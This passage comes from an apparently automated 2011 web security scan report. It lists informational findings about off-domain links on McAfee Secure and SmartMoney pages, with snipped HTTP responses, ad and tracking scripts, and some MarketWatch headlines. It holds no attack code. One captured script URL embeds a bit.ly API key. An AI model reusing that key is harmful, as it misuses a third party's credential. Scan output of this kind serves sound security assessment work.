   <script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<h3><a href="http://www.twitter.com/MarketWatch">MarketWatch's Latest Tweets</a>
...[SNIP]...
<span>"Louisiana Gov. Jindal said that the Army Corps of Engineers is expected to open the Morganza Spillway this weekend <a href="http://bit.ly/iHiGih">http://bit.ly/iHiGih</a>
...[SNIP]...
<span id="twitter-date">4:50 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MarketWatch">MarketWatch</a>
...[SNIP]...
<span>"#Cisco Systems Inc. is in trouble and layoffs are in the works <a href="http://bit.ly/mm1r1f">http://bit.ly/mm1r1f</a>
...[SNIP]...
<span id="twitter-date">4:09 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MarketWatch">MarketWatch</a>
...[SNIP]...
<span>"Libertarian Ron Paul launches his third presidential bid <a href="http://bit.ly/mj89sY">http://bit.ly/mj89sY</a>
...[SNIP]...
<span id="twitter-date">3:28 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MarketWatch">MarketWatch</a>
...[SNIP]...
<span>"Dow industrials finish down 100 points Friday, relinquishing weekly gains <a href="http://on.mktw.net/jQ40eG">http://on.mktw.net/jQ40eG</a>
...[SNIP]...
<span id="twitter-date">3:04 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MarketWatch">MarketWatch</a>
...[SNIP]...
<span>"Medicare...s Hospital Insurance Trust Fund expected to be exhausted in 2024, 5 years sooner than projected last year <a href="http://bit.ly/lKNU0X">http://bit.ly/lKNU0X</a>
...[SNIP]...
<span id="twitter-date">2:39 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MarketWatch">MarketWatch</a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab1">
<a id="hat_link1" href="http://online.wsj.com/home"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab3">
<a id="hat_link3" href="http://online.barrons.com/home"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab4">
<a id="hat_link4" href="http://allthingsd.com/"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab6">
<a id="hat_link6" href="http://www.smartmoney.com/"></a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more3">
<a href="http://online.wsj.com/asia">WSJ Asia</a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more4">
<a href="http://online.wsj.com/europe">WSJ Europe</a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more5">
<a href="http://online.wsj.com/americas">WSJ Americas</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more6" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)">
<a href="http://chinese.wsj.com/gb/index.asp">WSJ Chinese</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more7" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)">
<a href="http://www.efinancialnews.com/">Financial News Online</a>
...[SNIP]...
<a href="/story/save-money-on-gas-with-credit-cards-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AA365_gas_pu_MB_20090515135846.jpg" style="border: 0;" alt="gas pump" width="140" height="79" /></a>
...[SNIP]...
<a href="/story/indian-vote-favors-congress-party-boosts-market-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AK227_india__MB_20110513153010.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<a href="/story/us-week-ahead-looking-to-linkedins-ipo-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AD758_linked_MB_20100303124859.jpg" style="border: 0;" alt="LinkedIn" width="140" height="93" /></a>
...[SNIP]...
<div class="oneandhalfwide" style="text-align: right; float: none; margin: 0;" >
<img src="http://s.wsj.net/public/resources/MWimages/MW-AI181_week_i_MB_20110119145055.jpg" style="border: 0;" alt="" width="140" height="93" />
                                                                   </div>
...[SNIP]...
<a href="/story/kraft-tops-food-rivals-in-commodities-fight-2011-05-12?link=mw_story_kiosk" class="">
<img src="http://s.wsj.net/public/resources/MWimages/MW-AK183_kraft__MB_20110511174636.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<a href="http://blogs.marketwatch.com/election/2011/05/13/libertarian-ron-paul-launches-third-presidential-bid/" >
<img src="http://s.wsj.net/public/resources/MWimages/MW-AK222_paul_r_MB_20110513125456.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<li><a id="endcapFacebook" href="http://www.facebook.com/marketwatch">MarketWatch on Facebook</a>
...[SNIP]...
<li><a id="endcapTwitter" href="http://twitter.com/marketwatch">MarketWatch on Twitter</a>
...[SNIP]...
<li><a href="http://www.dowjones.com/TheCompany/CodeConduct.htm">Code of Conduct</a>
...[SNIP]...
<li><a href="http://dowjonesonline.com/">Advertising Media Kit</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/">Advertise Locally</a>
...[SNIP]...
<li><a href="http://solutions.dowjones.com/djcs/index.asp">License our Content</a>
...[SNIP]...
<li><a href="http://online.wsj.com/">WSJ.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/">Barron's Online</a>
...[SNIP]...
<li><a href="http://www.bigcharts.com/">BigCharts</a>
...[SNIP]...
<li><a href="http://allthingsd.com/">All Things Digital</a>
...[SNIP]...
<li><a href="http://www.efinancialnews.com/">Financial News Online</a>
...[SNIP]...
<li><a href="http://guides.wsj.com/small-business/">WSJ.com Small Business</a>
...[SNIP]...
<li><a href="http://www.fins.com/?mod=MW_footer">FINS:</a>
               <a href="http://www.fins.com/finance/?mod=MW_footer">Finance</a>,
               <a href="http://it-jobs.fins.com/?mod=MW_footer">IT jobs</a>,
               <a href="http://sales-jobs.fins.com/?mod=MW_footer">Sales jobs</a>
...[SNIP]...
ta delayed per exchange requirements. Dow Jones Indexes (SM) from Dow Jones & Company, Inc. All quotes are in local exchange time.
           Real time last sale data provided by NASDAQ. More information on <a href="http://www.nasdaq.com/services/DelDefOpenReport.pdf">NASDAQ traded symbols</a>
...[SNIP]...
<div id="ad_DockingbarExpandable" class="advertisement ">


               <script src="http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?" type="text/javascript"></script>
               <noscript>
                   <a href="http://ad.doubleclick.net/jump/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?" target="_blank">
                       <img src="http://ad.doubleclick.net/ad/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?" alt="0" border="0"/>
                   </a>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/MarketWatch/view.aspx" style="display: none; ">Link to MarketWatch's Slice.</a>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://om.dowjoneson.com/b/ss/djglobal,djmarketwatch/1/H.20.2--NS/0" height="1" width="1" border="0" alt=""/></a>
...[SNIP]...

       <script type="text/javascript" src="http://js.revsci.net/gateway/gw.js?csid=G07608"></script>
...[SNIP]...
<noscript>
       <iframe src="http://view.atdmt.com/iaction/msimkt_MarketWatchUniversalTag2_1" width="1" height="1" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0"></iframe>
...[SNIP]...
<div>
<img src="//secure-us.imrworldwide.com/cgi-bin/m?ci=us-403743h&cg=0&cc=1&ts=noscript" width="1" height="1" alt=""/>
</div>
...[SNIP]...
</script>
   <script type="text/javascript" charset="utf-8" src="http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8"></script>
...[SNIP]...

19.145. http://www.mcafeesecure.com/RatingVerify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/RatingVerify

Issue detail

The page was loaded from a URL containing a query string:

http://www.mcafeesecure.com/RatingVerify?cb=lp

The response contains the following links to other domains:

http://home.mcafee.com/root/campaign.aspx?cid=78228
http://images.scanalert.com/css/rating-verify.css
http://secureshopping.mcafee.com/
http://server.iad.liveperson.net/hc/10599399/x.js?cmd=file&file=chatScript3&site=10599399&imageUrl=http://images.scanalert.com/images/liveperson/set03

Request

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 14 May 2011 12:52:11 GMT
Set-Cookie: resin=1707762186.20480.0000; path=/
Content-Length: 9711

<html>
<head>


<script>
function utmx_section(){}function utmx(){}
(function(){var k='1568676568',d=document,l=d.location,c=d.cookie;function
...[SNIP]...
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="//images.scanalert.com/css/rating-verify.css">
</head>
...[SNIP]...
<div style="margin-top:-6px;background:url('/images/rateverifying/attention_redbutton.gif');height:20px;width:210px;">
<a href="http://home.mcafee.com/root/campaign.aspx?cid=78228" style="text-decoration:none;"><b style="color:white;font-size:13px;margin-left:55px;">
...[SNIP]...
<div class="footer_text">Browse and shop with confidence at hundreds of trusted online merchants knowing that <a class=footer_text href="http://secureshopping.mcafee.com/">McAfee SECURE shopping</a>
...[SNIP]...
</script>
<script language='javascript' src='http://server.iad.liveperson.net/hc/10599399/x.js?cmd=file&file=chatScript3&site=10599399&imageUrl=http://images.scanalert.com/images/liveperson/set03'> </script>
...[SNIP]...

19.146. http://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1

The response contains the following links to other domains:

http://home.mcafee.com/AdviceCenter/Default.aspx
http://images.scanalert.com/images/favicon.mcafeesecure.ico
http://images.scanalert.com/include/public.js
http://secureshopping.mcafee.com/
http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03
http://server.iad.liveperson.net/hc/10599399/?cmd=repstate&site=10599399&channel=web&&ver=1&&skill=&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03
http://www.mcafee.com/us/about-us.aspx
http://www.mcafee.com/us/about/legal/privacy.aspx
http://www.mcafee.com/us/business-home.aspx
http://www.siteadvisor.com/
https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif

Request

Response

19.147. http://www.mcafeesecure.com/us/products/mcafee_secure.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/products/mcafee_secure.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.mcafeesecure.com/us/products/mcafee_secure.jsp?tab=1

The response contains the following links to other domains:

http://home.mcafee.com/AdviceCenter/Default.aspx
http://images.scanalert.com/images/favicon.mcafeesecure.ico
http://images.scanalert.com/include/public.js
http://images.scanalert.com/pdf/MS_CaseStudy_ZGallerie_MSCS061009-1.pdf
http://images.scanalert.com/pdf/MS_CaseStudy_billet-anything_final.pdf
http://investor.mcafee.com/releasedetail.cfm?ReleaseID=443382
http://investor.mcafee.com/releasedetail.cfm?releaseid=392507
http://secureshopping.mcafee.com/
http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03
http://www.emarketer.com/Article.aspx?R=1007156
http://www.informationweek.com/news/security/showArticle.jhtml?articleID=199000222
http://www.mcafee.com/us/about-us.aspx
http://www.mcafee.com/us/about/legal/privacy.aspx
http://www.mcafee.com/us/business-home.aspx
http://www.siteadvisor.com/
https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif
https://www.javelinstrategy.com/news/778/222/Survey-Finds-Retailers-Missed-Out-on-21-Billion-in-Sales-in-2008-Due-to-Online-Shopping-Fears/d,pressRoomDetail/

Request

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 14 May 2011 12:53:45 GMT
Content-Length: 29989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>Secure T
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/css/print.css" media="print"/>
<link rel="shortcut icon" href="//images.scanalert.com/images/favicon.mcafeesecure.ico" type="image/x-icon">
<link rel="icon" href="//images.scanalert.com/images/favicon.mcafeesecure.ico" type="image/x-icon">

...[SNIP]...
</script>-->
<script type="text/javascript" src="//images.scanalert.com/include/public.js"></script>
...[SNIP]...
<a target=_blank href="http://www.mcafeesecure.com/RatingVerify?ref=www.mcafeesecure.com "><img border=1
width=65
height="37"
alt="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams"
src="https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif"
oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;"></a>
...[SNIP]...
<li><a href="http://www.siteadvisor.com" target="_blank">SiteAdvisor</a>
...[SNIP]...
<li><a href="http://home.mcafee.com/AdviceCenter/Default.aspx" target="_blank">Security Advice Center</a>
...[SNIP]...
<li class="lastlink"><a href="http://secureshopping.mcafee.com" target="_blank">Secure Shopping</a>
...[SNIP]...
<div style="margin-left:11px; margin-top:75px;"><a href='http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03'
target='chat10599399' onClick="javascript:window.open('http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03&referrer='+escape(document.location),'chat10599399','width=472,height=320');return false;"
class="menu_btn_cta"><span>
...[SNIP]...
</span>McAfee scans customer websites every day for thousands of hacker vulnerabilities.<a href=http://investor.mcafee.com/releasedetail.cfm?ReleaseID=443382 target=_blank> McAfee is rated #1 in malware detection</a>
...[SNIP]...
</a>. Second, you get access to thousands of security conscious shoppers via our <a href=http://secureshopping.mcafee.com target=_blank>Secure Shopping portal</a>. And third, your site displays a special McAfee SECURE trustmark next to the search results of our millions of <a href=http://www.siteadvisor.com target=_blank>McAfee® SiteAdvisor® software</a>
...[SNIP]...
</span>According to a <a target=_blank href=http://www.emarketer.com/Article.aspx?R=1007156 >study</a>
...[SNIP]...
tes Service allows you to compete on something beside price. Use your impressive security to show that you are not just the affordable alternative, you're the secure choice. According to research firm <a target=_blank href=http://investor.mcafee.com/releasedetail.cfm?releaseid=392507>Harris Interactive</a>
...[SNIP]...
>McAfee SECURE for Websites Service helps you avoid damaging security breaches and reduce operational anxiety by making sure your web infrastructure is as vulnerability free as it can be. According to <a target=_blank href=http://www.informationweek.com/news/security/showArticle.jhtml?articleID=199000222>Forrester Research</a>
...[SNIP]...
</span>A <a target=_blank href=https://www.javelinstrategy.com/news/778/222/Survey-Finds-Retailers-Missed-Out-on-21-Billion-in-Sales-in-2008-Due-to-Online-Shopping-Fears/d,pressRoomDetail/>2009 survey</a>
...[SNIP]...
</span>Our vulnerability management technology uses a knowledge base that is constantly updated with the newest discoveries and latest threat variations. Our threat detection is <a target=_blank href=http://investor.mcafee.com/releasedetail.cfm?ReleaseID=443382>#1 in the industry.</a>
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_ZGallerie_MSCS061009-1.pdf" target="_blank">Download Case Study</a>
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_billet-anything_final.pdf" target="_blank" >Download Case Study</a>
...[SNIP]...
<li><a href="http://www.mcafee.com/us/about-us.aspx" target="_blank">About us</a>
...[SNIP]...
<li><a href="http://www.mcafee.com/us/about/legal/privacy.aspx" target="_blank">Privacy Policy</a>
...[SNIP]...
<li><a href="http://www.mcafee.com/us/business-home.aspx" target="_blank">McAfee Home</a>
...[SNIP]...

19.148. https://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4

The response contains the following links to other domains:

https://images.scanalert.com/images/favicon.mcafeesecure.ico
https://images.scanalert.com/include/public.js
https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif
https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03
https://server.iad.liveperson.net/hc/10599399/?cmd=repstate&site=10599399&channel=web&&ver=1&&skill=&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03

Request

Response

19.149. https://www.mcafeesecure.com/us/resources/resource.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/resources/resource.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www.mcafeesecure.com/us/resources/resource.jsp?tab=1

The response contains the following links to other domains:

https://images.scanalert.com/images/dyn/11595.png
https://images.scanalert.com/images/dyn/17265.png
https://images.scanalert.com/images/dyn/20853.png
https://images.scanalert.com/images/dyn/21606.png
https://images.scanalert.com/images/dyn/21607.png
https://images.scanalert.com/images/dyn/21813.png
https://images.scanalert.com/images/dyn/21860.png
https://images.scanalert.com/images/dyn/21861.png
https://images.scanalert.com/images/dyn/21927.png
https://images.scanalert.com/images/dyn/22125.png
https://images.scanalert.com/images/dyn/23137.png
https://images.scanalert.com/images/dyn/23138.png
https://images.scanalert.com/images/dyn/4386.png
https://images.scanalert.com/images/dyn/7404.png
https://images.scanalert.com/images/favicon.mcafeesecure.ico
https://images.scanalert.com/include/public.js
https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif
https://images.scanalert.com/pdf/Candy.com_Success_Story.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_ContainerPackaging_MSCS033009-1.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_Foreclosures.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_IDCardGroup.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_JellyBelly_MSCS042209-1.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_LittmanBrothers.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_Roush_MSCS011309-2.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_Scendix.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_ZGallerie_MSCS061009-1.pdf
https://images.scanalert.com/pdf/MS_CaseStudy_billet-anything_final.pdf
https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03
https://www.javelinstrategy.com/news/778/92/Survey-Finds-Retailers-Missed-Out-on-21-Billion-in-Sales-in-2008-Due-to-Online-Shopping-Fears/d,pressRoomDetail

Request

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 14 May 2011 12:53:28 GMT
Content-Length: 44292

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>Sec
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/css/print.css" media="print"/>
<link rel="shortcut icon" href="https://images.scanalert.com/images/favicon.mcafeesecure.ico" type="image/x-icon">
<link rel="icon" href="https://images.scanalert.com/images/favicon.mcafeesecure.ico" type="image/x-icon">

...[SNIP]...
</script>-->
<script type="text/javascript" src="https://images.scanalert.com/include/public.js"></script>
...[SNIP]...
<a target=_blank href="http://www.mcafeesecure.com/RatingVerify?ref=www.mcafeesecure.com "><img border=1
width=65
height="37"
alt="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams"
src="https://images.scanalert.com/meter/www.mcafeesecure.com/55.gif"
oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;"></a>
...[SNIP]...
<div style="margin-left:11px; margin-top:75px;"><a href='https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03'
target='chat10599399' onClick="javascript:window.open('https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03&referrer='+escape(document.location),'chat10599399','width=472,height=320');return false;"
class="menu_btn_cta"><span>
...[SNIP]...
<img src="/images/relaunch/resources/resource_ico_arrow.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_ZGallerie_MSCS061009-1.pdf" target="_blank">Read More</a>
...[SNIP]...
<img src="/images/relaunch/resources/resource_ico_arrow.gif"/>
<a href="https://www.javelinstrategy.com/news/778/92/Survey-Finds-Retailers-Missed-Out-on-21-Billion-in-Sales-in-2008-Due-to-Online-Shopping-Fears/d,pressRoomDetail" target="_blank">Read More</a>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/23138.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0;" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/Candy.com_Success_Story.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/23137.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_Scendix.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21927.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_billet-anything_final.pdf" target="_blank" ><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/22125.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_ZGallerie_MSCS061009-1.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21813.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_JellyBelly_MSCS042209-1.pdf" target="_blank" ><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21860.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_Roush_MSCS011309-2.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21861.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_ContainerPackaging_MSCS033009-1.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21607.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_LittmanBrothers.pdf" target="_blank" ><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/21606.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_IDCardGroup.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/20853.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<img style="padding:0 0 0 0" src="/images/relaunch/resources/resource_ico_pdf.gif"/>
<a href="//images.scanalert.com/pdf/MS_CaseStudy_Foreclosures.pdf" target="_blank"><u>
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/17265.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/11595.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/7404.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...
<div class="row">
<img src="//images.scanalert.com/images/dyn/4386.png" alt="" width="108px"/>
<span class="brief">
...[SNIP]...

19.150. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.smartmoney.com/?zone=intromessage

The response contains the following links to other domains:

http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?link=SM_footer
http://asia.wsj.com/
http://asia.wsj.com/home-page?link=SM_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?link=SM_footer
http://bit.ly/j8XSwF
http://bit.ly/meCymY
http://c.wsj.net/static/hat/hat3.css?version=25
http://c.wsj.net/static/hat/hat3.js
http://cn.wsj.com/gb/index.asp
http://cn.wsj.com/gb/index.asp?link=SM_footer
http://customsolutions-aboutus.com/?link=SM_footer
http://europe.wsj.com/
http://europe.wsj.com/home-page?link=SM_footer
http://fls.doubleclick.net/activityi;src=490793;type=smart929;cat=smart430;ord=1?
http://india.wsj.com/home-page?link=SM_footer
http://it-jobs.fins.com/
http://jp.wsj.com/
http://jp.wsj.com/?link=SM_footer
http://online.barrons.com/?link=SM_footer
http://online.barrons.com/home
http://online.wsj.com/?link=SM_footer
http://online.wsj.com/americas
http://online.wsj.com/americas?link=SM_footer
http://online.wsj.com/home
http://online.wsj.com/home-page?link=SM_footer
http://online.wsj.com/portuguese
http://online.wsj.com/portuguese?link=SM_footer
http://professor.wsj.com/?link=SM_footer
http://public.wsj.com/partner/?link=SM_footer
http://s.wsj.net/img/sm/SMLogoSm.png
http://s.wsj.net/public/resources/images/PF-AA108_smcoll_A_20110106152545.jpg
http://s.wsj.net/public/resources/images/PF-AA120_smcarl_A_20110118185508.jpg
http://s.wsj.net/public/resources/images/PF-AA121_smcash_A_20110119173326.jpg
http://s.wsj.net/public/resources/images/PF-AA128_smbrok_A_20110124173837.jpg
http://s.wsj.net/public/resources/images/PF-AA129_smcurr_A_20110124180851.jpg
http://s.wsj.net/public/resources/images/PF-AA143_smbond_A_20110201155942.jpg
http://s.wsj.net/public/resources/images/PF-AA182_smfors_A_20110211153900.jpg
http://s.wsj.net/public/resources/images/PF-AA182_smfors_C_20110211153900.jpg
http://s.wsj.net/public/resources/images/PF-AA200_smgoog_C_20110217172742.jpg
http://s.wsj.net/public/resources/images/PF-AA221_smstoc_A_20110301131459.jpg
http://s.wsj.net/public/resources/images/PF-AA222_smchin_C_20110301152706.jpg
http://s.wsj.net/public/resources/images/PF-AA241_smhome_C_20110307182736.jpg
http://s.wsj.net/public/resources/images/PF-AA267_smhous_A_20110311173506.jpg
http://s.wsj.net/public/resources/images/PF-AA316_smhous_A_20110325135412.jpg
http://s.wsj.net/public/resources/images/PF-AA323_smstoc_C_20110329172451.jpg
http://s.wsj.net/public/resources/images/PF-AA329_smmay2_C_20110330162240.jpg
http://s.wsj.net/public/resources/images/PF-AA339_smmaps_C_20110401125815.jpg
http://s.wsj.net/public/resources/images/PF-AA340_smmay2_C_20110401134301.jpg
http://s.wsj.net/public/resources/images/PF-AA411_smcrys_C_20110421172725.jpg
